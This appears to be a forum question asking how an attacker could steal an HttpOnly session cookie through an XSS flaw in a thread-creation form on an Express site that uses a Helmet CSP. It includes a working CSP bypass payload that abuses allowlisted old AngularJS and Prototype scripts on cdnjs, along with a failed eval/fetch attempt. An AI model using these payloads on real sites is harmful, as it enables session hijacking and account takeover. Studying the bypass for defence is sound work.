How can I steal cookie when HTTPOnly is on and CSP rules are defined? Assume that an attacker is given an inputfield that performs HTTP and that it is vulnerable for XSS attacks:
<form action="/createThread?topic={{lcTopic}}" method="post" class="">
<h2 class="text-muted">New Thread</h2>
<hr>
<div class="form-group">
<label>Body</label>
<textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea>
</div>
<button type="submit" class="btn btn-primary">Create Thread</button>
<button type="button" id="threadPreview" class="btn btn-default">Preview</button>
</form>`
In my server I have defined CSP rules as:
.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
"cdnjs.cloudflare.com"
],
},
})
)
The attacker could potentially bypass CSP by injecting the following code into the text field:
<!DOCTYPE html>
<html>
<head>
<title>XSS Demo</title>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></SCRIPT>
</head>
<body ng-app ng-csp>
<div>
<button ng-click="$on.curry.call().alert('xss')">Click Me!
</button>
<div style="display:none;">
{{$on.curry.call().alert('xss')}}
</div>
</div>
</body>
</html>
Now, due to HTTPOnly being enabled, the attacker can’t simply execute “alert(document.cookie)”. What other methods can they employ to steal the cookie considering the CSP rules?
I tried a simple alert(document.cookie) but did not work due to HTTPOnly:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: default-src 'self';script-src 'self' cdnjs.cloudflare.com;base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
Content-Type: text/html; charset=utf-8
Content-Length: 5924
ETag: W/"1724-zhGBtITbjmwCa+un6GYhGKL+lwo"
Set-Cookie: connect.sid=THE COOKIE; Path=/; HttpOnly
Date: Sat, 27 Apr 2024 09:29:04 GMT
Connection: close
I even tried to do:
{{$on.curry.call().eval("var url = '/'; fetch(url).then(response => console.log(response.headers.get('Set-Cookie')))")}}
but since CSP I get:
angular.js:5930 EvalError: Refused to evaluate a string as JavaScript because ‘unsafe-eval’ is not an allowed source of script in the following Content Security Policy directive: “script-src
NOTE: the attacker is obviously not allowed to change the servercode! He only has access to the input field!